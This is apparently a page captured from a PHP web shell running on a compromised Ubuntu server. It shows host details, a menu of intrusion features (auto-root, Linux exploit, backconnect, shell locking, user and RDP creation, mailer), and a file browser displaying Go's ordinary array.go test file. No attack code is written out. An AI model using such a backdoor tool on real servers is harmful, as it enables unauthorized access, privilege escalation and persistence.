Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
test /
ken /
[ HOME SHELL ]
Name
Size
Permission
Action
array.go
2.27
KB
-rw-r--r--
chan.go
4.67
KB
-rw-r--r--
chan1.go
879
B
-rw-r--r--
complit.go
4.27
KB
-rw-r--r--
convert.go
14.94
KB
-rw-r--r--
cplx0.go
455
B
-rw-r--r--
cplx0.out
128
B
-rw-r--r--
cplx1.go
1.43
KB
-rw-r--r--
cplx2.go
1.9
KB
-rw-r--r--
cplx3.go
888
B
-rw-r--r--
cplx4.go
1.05
KB
-rw-r--r--
cplx5.go
1.13
KB
-rw-r--r--
divconst.go
9.23
KB
-rw-r--r--
divmod.go
5.13
KB
-rw-r--r--
embed.go
4.27
KB
-rw-r--r--
for.go
308
B
-rw-r--r--
interbasic.go
2.18
KB
-rw-r--r--
interfun.go
872
B
-rw-r--r--
intervar.go
1010
B
-rw-r--r--
label.go
439
B
-rw-r--r--
litfun.go
410
B
-rw-r--r--
mfunc.go
386
B
-rw-r--r--
modconst.go
9.24
KB
-rw-r--r--
ptrfun.go
617
B
-rw-r--r--
ptrvar.go
772
B
-rw-r--r--
range.go
1.71
KB
-rw-r--r--
rob1.go
1.05
KB
-rw-r--r--
rob2.go
4.3
KB
-rw-r--r--
robfor.go
881
B
-rw-r--r--
robfunc.go
1.4
KB
-rw-r--r--
shift.go
2.26
KB
-rw-r--r--
simparray.go
730
B
-rw-r--r--
simpbool.go
1.77
KB
-rw-r--r--
simpconv.go
490
B
-rw-r--r--
simpfun.go
380
B
-rw-r--r--
simpswitch.go
487
B
-rw-r--r--
simpvar.go
348
B
-rw-r--r--
slicearray.go
2.75
KB
-rw-r--r--
sliceslice.go
2.7
KB
-rw-r--r--
string.go
1.79
KB
-rw-r--r--
string.out
49
B
-rw-r--r--
strvar.go
1.11
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : array.go
// run // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Test arrays and slices. package main func setpd(a []int) { // print("setpd a=", a, " len=", len(a), " cap=", cap(a), "\n"); for i := 0; i < len(a); i++ { a[i] = i } } func sumpd(a []int) int { // print("sumpd a=", a, " len=", len(a), " cap=", cap(a), "\n"); t := 0 for i := 0; i < len(a); i++ { t += a[i] } // print("sumpd t=", t, "\n"); return t } func setpf(a *[20]int) { // print("setpf a=", a, " len=", len(a), " cap=", cap(a), "\n"); for i := 0; i < len(a); i++ { a[i] = i } } func sumpf(a *[20]int) int { // print("sumpf a=", a, " len=", len(a), " cap=", cap(a), "\n"); t := 0 for i := 0; i < len(a); i++ { t += a[i] } // print("sumpf t=", t, "\n"); return t } func res(t int, lb, hb int) { sb := (hb - lb) * (hb + lb - 1) / 2 if t != sb { print("lb=", lb, "; hb=", hb, "; t=", t, "; sb=", sb, "\n") panic("res") } } // call ptr dynamic with ptr dynamic func testpdpd() { a := make([]int, 10, 100) if len(a) != 10 && cap(a) != 100 { print("len and cap from new: ", len(a), " ", cap(a), "\n") panic("fail") } a = a[0:100] setpd(a) a = a[0:10] res(sumpd(a), 0, 10) a = a[5:25] res(sumpd(a), 5, 25) a = a[30:95] res(sumpd(a), 35, 100) } // call ptr fixed with ptr fixed func testpfpf() { var a [20]int setpf(&a) res(sumpf(&a), 0, 20) } // call ptr dynamic with ptr fixed from new func testpdpf1() { a := new([40]int) setpd(a[0:]) res(sumpd(a[0:]), 0, 40) b := (*a)[5:30] res(sumpd(b), 5, 30) } // call ptr dynamic with ptr fixed from var func testpdpf2() { var a [80]int setpd(a[0:]) res(sumpd(a[0:]), 0, 80) } // generate bounds error with ptr dynamic func testpdfault() { a := make([]int, 100) print("good\n") for i := 0; i < 100; i++ { a[i] = 0 } print("should fault\n") a[100] = 0 print("bad\n") } // generate bounds error with ptr fixed func testfdfault() { var a [80]int print("good\n") for i := 0; i < 80; i++ { a[i] = 0 } print("should fault\n") x := 80 a[x] = 0 print("bad\n") } func main() { testpdpd() testpfpf() testpdpf1() testpdpf2() // print("testpdfault\n"); testpdfault(); // print("testfdfault\n"); testfdfault(); }
Close